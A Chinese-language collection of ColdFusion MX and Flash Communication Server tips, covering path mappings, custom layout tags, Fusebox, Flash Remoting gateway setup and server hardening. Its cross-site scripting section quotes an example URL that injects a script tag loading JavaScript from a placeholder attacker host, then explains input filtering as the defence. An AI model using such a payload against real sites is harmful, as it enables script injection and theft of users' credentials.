ColdFusion

关注公众号 jb51net

关闭
首页 > 脚本专栏 > ColdFusion >

Coldfusion MX技巧精华收集之2

作者:

Coldfusion MX技巧精华收集之2
设定你的根目录 

作者: Kyle 2/16/03 

内容: 

设定你的根目录
网站开发人员向来都一直必须在相对路径 vs. 绝对路径这项议题上面打转。在 ColdFusion 环境里面,你可以在多个不同页面使用 CFINCLUDE 卷标,不过既然我们对于在哪个目录里面将会用到 CFINCLUDE 语法,因此在 CFINCLUDE 卷标里面使用相对路径经常会造成很多麻烦。 

举例来说,某个被包含的选单里面可能有一个指向网站首页的连结,像下面这样: 

<A HREF="index.cfm">Home Page</A> 
在网站根目录下面的任何档案引入这个包含档都不会有问题。但是如果你在某个次目录下的一个档案里面引入这个选单档案,那么上面这个超链接便会失效,或者至少会连结到错误的页面去。这时候你实际上会希望这个超链接是写成这样: 

<A HREF="../index.cfm">Home Page</A> 
有两种方式可以克服这个问题。一个是在超链接里面直接使用绝对路径。要使用这个作法,你必须在 ColdFusion 里面预先设定好一个路径对应关系(mapping)。你可以在 ColdFusion 管理员(ColdFusion Administrator)的「路径对应(Mappings)」区块里面建立这些对应关系。一旦你建立好了路径对应关系,你便可以把指向网站首页的超链接写成下面这个样子: 

<A HREF="/mymapping/index.cfm>Home Page</A> 
如果你使用了绝对路径,那么不论你在那个位置引入这个档案,该档案里面的超链接永远都会保持有效。我通常使用一个叫做 APPLICATION.RootDir 的应用程序变量来储存这项路径对应设定,并且在超链接里面直接套用这个变量。使用这个作法,如果我真有必要修改目录结构或者路径对应的名称,那么我只需要修改这么一个变量的值就可以了。 

<CFSET APPLICATION.RootDir = "/MyMapping"> 
如果你套用这个变量,你的超链接看起来会像下面这样: 

<A HREF="#APPLICATION.RootDir#/index.cfm"> 
在每个页面的开端建立这样的变量,那么你就可以在该页面的其它部分套用这个变量的值。包含档案运作起来就像该档案的内容实际上真的被写入原有页面一样,因此如果档案 A 引入了档案 B,那么在档案 B 里面我们便可以直接参照到档案 A 里面的变量值: 

<!--- 在每个页面设定 RootDir 变量值 --->
<CFSET RootDir ="../">
<!--- 在被引入的页面中参照 RootDir 变量的值(只要确定这个变量确实有被定义即可,否则在引入档案的时候会出现错误讯息) --->
<A HREF="#RootDir#news/newspage.cfm"></code>

使用自订卷标来设定版面配置
ColdFusion 的自订卷标功能让你能够将任何你想象得到的功能封装成一个简单易用的包装。虽然这项功能早在几年前便是 ColdFusion 服务器的功能之一,但是从 4.0 版本开始,你可以在自订卷标里面使用启始与结尾卷标。为了说明如何使用自订启始与结尾卷标,在下面这个范例里面我们将网页内容包装在一个自订卷标里面,并且提供版面配置与格式化的相关功能。 

想想看,如果在某个普通页面里头可以使用下面这样的写法,那不是很棒吗! 

<CF_FormatPage Title="My Page Title">
这里是你的页面主要区域的内容。请注意我们在这里并没有加入表格或者 <BODY> 卷标之类的东西。 

</CF_FormatPage> 

整个页面原始码就是这样了。其它所有版面配置与格式化信息都被隐藏在主要内容外面的自订卷标里面。为了能够在你的自订卷标里面使用启始与结尾卷标,你必须先了解自订卷标的两种使用状态。你可以透过 #ThisTag.ExecutionMode# 这个变量的值来判断目前被使用的是启始或者是结尾卷标。基本上你的自订卷标内容会被执行两次:一次是遇到启始卷标的时候,另一次便是遇到结尾卷标的时候。为了不让这篇文章显得过于冗长,在这里我们并不加入太多格式化的相关程序代码,但是下面这个基本的 CF_FormatPage 自订卷标应该足够让你了解我们刚才提到的观念: 

<!--- 以下是 CF_FormatPage 自订卷标档案内容 --->
<!--- 如果执行模式是「Start」,表示我们遇到的是启始卷标,因此我们显示页面格式的前半段 --->
<CFIF ThisTag.ExecutionMode IS "Start"> 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 

<HTML>
<HEAD>
<TITLE><CFOUTPUT>#ATTRIBUTES.Title#</CFOUTPUT></TITLE>
</HEAD> 

<BODY> 

上面这段内容可以包含页面标题图片,选单或者其它内容。 

<!--- 被包含在这个卷标里面的其它内容则会接着在这里显示 ---> 

<!--- 如果执行模式是「End」,表示我们遇到了结尾卷标,因此我们显示页面格式的后半段 --->
<CFELSEIF ThisTag.ExecutionMode IS "End"> 

<BR><BR>这里是页面的页尾区域,在这里你可能会放入内容连结或者版权宣告文字。 

</BODY>
</HTML> 

</CFIF> 

你能做的东西当然比这个简单例子多得更多,例如加入动态选单,针对每个页面加入不同的标题图片等等。或者换一种作法,你可以针对不同状况建立不同的自订卷标来把版面配置封装起来,只要能够符合你自己的特定需求就行了。

保护页面不受跨网站(cross-site)程序攻击
跨网站程序攻击是网站管理人员经常必须面对的安全性问题之一。像是 ASP,CFML 或者 PHP 这类的应用程序服务器,由于它们与生俱来的动态功能特性,使得它们特别容易受到这一类的攻击。很多时候你的程序都会把某些信息从某个页面传送到另一个页面,将资料储存到数据库中,或者将窗体或 URL 参数接收到的变量值显示在页面上。虽然能够在不同页面之间传递资料看起来是一个优点,但是如果你不够小心的话,这项特性也会同时带来严重的安全性问题。举例来说,请看看下面这个超链接以及相对应的目标页面显示的结果: 

<!--- 下面是你某个页面中的超链接 --->
<A HREF="nextpage.cfm?username=Brian">请按这里</A>
<!--- 下面是 nextpage.cfm 所显示的内容 --->
<CFOUTPUT>
欢迎来到下一页,#URL.UserName#。
</CFOUTPUT> 

看起来够简单了吧?上面这个超级链接纯粹把使用者名称从一个页面传递到另一个页面去(nextpage.cfm),如果你不够小心的话,这正是问题可能发生的地方。跨网站程序(cross-site scripting)基本上便是欺骗你的 Web 服务器,让它在未预期的的情况下执行其它网站上面的程序,JavaScript,Java applet 或者 ActiveX 控件。 

如果你观察上面这个例子的目标页面的 URL,它看起来会是下面这样: 

http://www.mysite.com/nextpage.cfm?username=Brian 
某位不怀好意的使用者可以自己输入一个 URL,里面包含一个连向另一部服务器上面的程序的连结,就像下面这样: 

http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js"> 
当 ColdFusion 在下一个页面输出上面的 URL 所传过来的变量的时候,输出结果看起来变成下面这样: 

欢迎来到下一页,<script src="http://www.hackersite.com/nastyscript.js">。 
这个变量会让你那无辜的页面在你未预期的状况下执行对方指定的 JavaScript 程序代码。利用类似的方式,对方也可以在 URL 里面指定恶意的 ActiveX 控件或者 JavaApplet。当然,在这个例子里面,使用者仅是在浏览器上面执行他们自己指定的程序而已,但如果这些恶意程序代码被你自己的程序不小心储存起来并且之后又输出到其它使用者的画面上(例如捣乱者将某些 JavaScript 程序代码输入在你的讨论区发表文章窗体里面,然后你的程序在不知情的状况下把这些程序代码当成发言内容的一部份存入数据库中,那么其它使用者观看到这篇文章的时候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便会在其它使用者的浏览器上面执行了),这时候那些程序就可能足以将其它使用者的帐号,密码或者其它敏感资料暗中传送到某个地方去。这项安全性问题并非 ColdFusion 才会发生的状况,任何应用程序服务器,只要它能够接收从 URL 或者窗体传送过来的资料并且显示在使用者画面上,都有可能受到这类攻击。 

幸运的是,要避免这种状况发生并不困难。你要做的工作是过滤来自 URL 或者窗体传送过来的资料,并且将一些特殊的危险字符,例如 < 或者 >(大于和小于符号),把他们替换成相对应的 ASCII 字符码形式(例如将 < 替换成 &lt;)就可以了。事实上 Allaire 公司提供了一个 CF_InputFilter 自订卷标,你可以将它用在你的 application.cfm 档案里面,它可以替你处理相关的特殊字符过滤工作。如果你需要更完整的关于这项议题的资料,请参考「Allaire 安全问题布告栏」网站上面的这篇文章(ASB00-05)。

使用 Fusebox
一旦你已经了解 ColdFusion 服务器的运作方式,并且觉得和 CFML 语言相处愉快,那么建议你试试 Fusebox,它是在 ColdFusion 平台上面最受欢迎的标准化开发技术。 

Fusebox 将一个应用程序分解成最基本的几个组件,每个组件都被封装成为一个独立的「保险丝(fuse)」。你可以在应用程序里面视需要插入不同的保险丝组件,并且延伸扩充应用程序的功能。这种对象导向的开发方法充分利用了 ColdFusion 自订卷标的模块化天性,并且将这项观念应用到整个应用程序上。 

Fusebox 充分利用程序代码的可重用性以及模块性,这两项都是任何应用程序开发工具所奉承的圭臬。Fusebox 的运作模式不但让你能够将同一个保险丝(亦即程序模块)插入到不同的应用程序,它还可以让你将其它人开发的模块轻易地套用在你自己的应用程序上面。 

Fusebox 的运作模式是以一个「主应用程序(Home application)」作为中心,它代表了你的整个应用程序。这项主应用程序则是由许多不同的「周边回路应用程序(Circuit applications)」所共同组成的,每一个周边回路应用程序都可以从主应用程序这边呼叫。你可以透过 URL 或者窗体来在主应用程序与周边回路应用程序之间传递一个称为 FuseAction 的变量,这个变量可用来决定你要执行的动作。各种需要用到的档案则都以不同的类型来加以区分,因此应用程序中的各个数据库查询语句,动作指令以及显示画面等等都是彼此相互独立的。这项独立性让你能够掌握最高的可重用性以及易用性。 

使用 Fusebox 不仅对于 ColdFusion 应用程序开发过程有所帮助,它还可以帮助你容易跨入 Allaire 公司 ColdFusion 产品线的下一个产品:Allaire Spectra。Spectra 使用的对象导向架构在许多方面都和 Fusebox 所使用的架构非常类似。这两项产品之间的主要差异在于 Spectra 内建了许多预先设计好的自订卷标与函数,可以直接用来处理各式各样开发工作,例如内容管理,个人化以及电子商务相关功能等等。


IIS安装路径 : 默认值得c:\inetput\wwwroot 

ColdFusion mx : 也是预设路径 

我安装iis跟coldfusion的路径都是预设的情况下, 

据我所了解,如果安装完成后,coldfusion会在c:\inetput\wwwroot底下产生一些目录夹,当一切就绪后,就可以开始撰写FLASH MX 与 COLDFUSION MX 的REMOTING程序了.并且一切都很OK.但是有些情况下,可能我们会在IIS新增一个 WEB Site(路径当然也改变), 

更有可能为了安全问题把预设的站台关闭(路径就是c:\inetput\wwwroot).在这样的情况 

下,我将原来可以执行的程序移到新的web site (新的路径),并且也更改了as中的setDefaultGatewayUrl()与 相关路径,不过仍不能运作,请问要如何解决这个问题呢? 

又setDefaultGatewayUrl()的真正涵义是什么呢?有什么要注意的吗? 

可否解释setDefaultGatewayUrl()的底层真正涵义? 

是否您己经停止原有的预设网站 ? 

若是, 您需要重新建立一个与 cfmx 连结的 connectors ,或 

将 IIS 中的 ISAPI 的设定到您新增的站台及 JRUNSCRIPT 的虚拟目录 

应该就可以解决这个问题 

setDefaultGatewayUrl 是指定 flash remoting 服务器的接口地址, 

就如同一般的网址,但是它所连结的是一个服务而不是网页内容.


1.建立截然不同的应用程序
透过Macromedia Flash Communication Server ,您可以在网站内容中建立和整合出全新型态的互动功能和用户体验。您可以轻易地在网站和应用程序中,增加像聊天室、串流视讯、多样化的媒体讯息交流和实时协同作业等等的功能。

2.接触到最广泛的网际网络通讯用户
Macromedia Flash Player是网站上最被广泛采用的软件,因此无论网际网络上的用户使用哪种浏览器、平台或者装置,绝大多数的使用者将能体验您的通讯应用程序。

3.自订品牌的视讯和通讯体验
建立能符合您的品牌外观与形象的视讯媒体演示文稿,乃至于其中的按钮和导览接口。如同所有的Macromedia Flash 影片内容,采用Macromedia Flash Communication Server MX建立的通讯应用程序将能被立即加载,并能在现存的HTML网页中执行,和在一个没有品牌标示、与网页内容紧密结合的播放器中呈现,让您的内容灿烂夺目。

4.多向通讯能力
建立自发性的、实时、单向、双向或者n向的通讯应用程序。透过广播给多人、或者建立私人或群组会谈等功能,把人性互动加入您的网站内容。

5.与既有的应用程序紧密地结合
透过Flash Remoting(内建于Macromedia ColdFusion MX和JRun 4),您即可轻易地在既有的应用程序和企业资料中注入通讯功能。

6.企业级的服务器解决方案
Flash Communication Server达到在企业内部网络、外部网络或者公众网站部署通讯功能所需的安全性、扩充性和可靠度的要求。

7.充分发挥Macromedia Flash MX 开发环境的威力
透过熟悉的script语言,清晰的说明和教学文件、事先做好的范例文件以及广大的协力网站社群、书籍和其它致力推广Macromedia Flash平台的资源,已经了解Macromedia Flash 的研发人员将对感到驾轻就熟。

8.可扩充的预制通讯对象链接库
经由拖放组件的方式,便能迅速和轻易地建立标准的通讯应用程序。您可以透过容易使用的Macromedia Flash MX可视化设计工具,修改组件让它符合您的网站设计,并加入自订的企业标识、背景和其它设计元素。您甚至可以自行修改组件的原始码,来制作出各种类型的应用程序。

9.具备同步功能的Shared Object(共享对象)
这项最新科技使得制作让所有参与者都能分享共同体验的应用程序变成可能,如此,每一位通讯用户都能收到相同和持续的声音、视讯和数据资料。

10.离线资料同步
建立能在离线状态下体验并且更新的应用程序。Macromedia Flash 客户端能在用户稍后重新联机的时候,同步应用程序和所有需要更新的资料。

正确设置Flash Communication Server

作者: Jolin 12/29/02

内容:

正确设置Flash Communication Server,防止有未授权用户登入,盗用服务器,游戏作弊,甚至关闭服务器等的风险发生
关于管理设置:
1、使用安全的用户名于密码,不要使用如"admin", "administrator"之类用户名。密码不少于8个字母,当中使用数字与标点符号
2、编辑Server.xml(我的机器中路径为C:\Program Files\Macromedia\Flash Communication Server MX\conf\Server.xml)中的<User>标记下的<Allow>与<Deny>两个标记可以控制该用户从哪台计算机登陆管理。
3、同上,在里面修改管理用的埠。如果仅用于intranet使用,或仅在本地网络登陆管理,在防火墙中关闭此埠,防止外部访问。
Vhost.xml设置:
我的机器路径为E:\Program Files\Macromedia\Flash Communication Server MX\conf\_defaultRoot_\_defaultVHost_\Vhost.xml
1、编辑其中<Allow>与<Deny>标记,不过这次控制的使用你服务的人。
2、如果你的程序中不会使用stream,将<MaxStreams>设为0
3、可以视需要设置<RecordAccessLog>为on或off开关访问日志(例如你觉得有异常需要查看日志的时候)
关于服务的设置:
在Server.xml中
1、修改<ResourceLimits>可以控制服务器使用的资源,具体可见xml里的注释
2、当需要运行使用多台服务器的程序时,请设置<ServerDomain>标记
Adaptor.xml(我的机器路径为E:\Program Files\Macromedia\Flash Communication Server MX\conf\_defaultRoot\Adaptor.xml)中
3、检查<HostPortList>标记,如果服务仅在intranet使用,请在防火墙中关闭此埠。
4、编辑<Allow>与<Deny>可以控制用户使用程序的域名与ip地址
写程序时的注意事项:
1、程序的最后成品,不应由用户输入程序的名称或服务器的ip又或其它关键信息,虽然我们写程序的调试的时候通常都这样做,但成品中这些都应该屏蔽到用户找不到的代码中去。
2、当用户登陆时,用server-side scripts(例如cfm),检查客户的referrer属性,以确定它来自你希望来的地方,通常应该是访问应该来自你的web服务器上放的swf,而不应该是黑客自己写的swf
3、除了上面的措施外,你的swf与服务器之间最好还有其它一些握手的方法(就是确定是你自己的swf,而不是黑客的swf的方法,例如领牌,又或其它算法),虽然swf不很牢固,但这起码会费调黑客一些时间,不至于用些浅陋的方法就危害到你的服务器
4、检查你服务器端的脚本(.asc),清除其中所有开发期间遗留下的调试用的,无用的,trace用的代码
5、清除所有无用或旧版本的脚本
关于程序的设置
1、设置Vhost.xml中<AppsDir>标记,这就是你程序所在的目录,请确定它不能被外部浏览甚至下载
2、整理你程序所在目录,只留下你需要提供给用户的程序。
3、移走所有Macromedia Flash Communication Server MX安装时自带的例子
4、在Vhost.xml与Application.xml中设置<Streams>与<StorageDir>标记,指定视频文件存放目录,请确定它不能被外部浏览甚至下载,具体可见xml里的注释
5、设置Vhost.xml<ResourceLimits>标记中shared objects到适当数值

6、设置Vhost.xml<Allow>标记限制访问者来自的域名
7、设置Application.xml中<JSEngine>中的<MaxTimeOut>以防程序进入死循环浪费服务器资源
关于web文件
1、web文件,如html、swf等可公开访问的文件要与Flash Communication程序文件分开目即娣?
2、除了web文件,web目录下不应有其它文件,特别是你的fla!!
Server.xml、Vhost.xml、Application.xml的关系就是一级级的关系,用过IIS的都应该能了解了,正确设置它们不但使你的服务器更安全,也会更高效。

清除Flash com电子白板的方法...

作者: Kyle(ckyle@zerone.com.tw) 2/11/03
内容:
//put this in your whiteboard main client side
//if it is already not there
//delete all SOs prototype
FCWhiteBoardClass.prototype.eraseBoard = function() {
for (var i in this.so.data) {
delete (this.so.data[ I ]);
}
this.so.flush();
};//end function

//now for the delete button
myButton.onRelease = function() {
theWhiteBoardInstance.eraseBoard();
};

作者: Jolin(jolin@jolin.idv.tw) 2/13/03
内容:
网址如下...
虽然是英文的...
但是看程序代码就够了..^_^
http://www.macromedia.com/devnet/mx/flashcom/articles/broadcast/video_tutorial.swf
http://www.macromedia.com/desdev/mx/flashcom/articles/broadcast.html

这是国外的一个网站...他会记录下我每次的会议影音...可看看
会议室
http://mxbook.theMakers.com/v1/ch13/confRecord.html

会议记录
http://mxbook.theMakers.com/v1/ch13/confRetrieve.html

Flash读取非unicode的中文网页解决法..
内容:
当利用FLASH连结不是使用unicode的中文网页,在显示时会产生乱码的问题,可以利用下面的指令解决...
System.useCodepage=true;
Flash UI 组件的外观加强版!!
作者: Kyle 2/15/03

内容:

大家觉得UI 组件很好用吧...可是就是有个缺点..
不好看....
现在有人做了个加强版....让UI不再那么难看了喔..^_^
想要了解的人可到下面网站下载
http://www.octaneinteractive.com/
范例可以看这里...
http://www.octaneinteractive.com/beta/ScrollBar/

阅读全文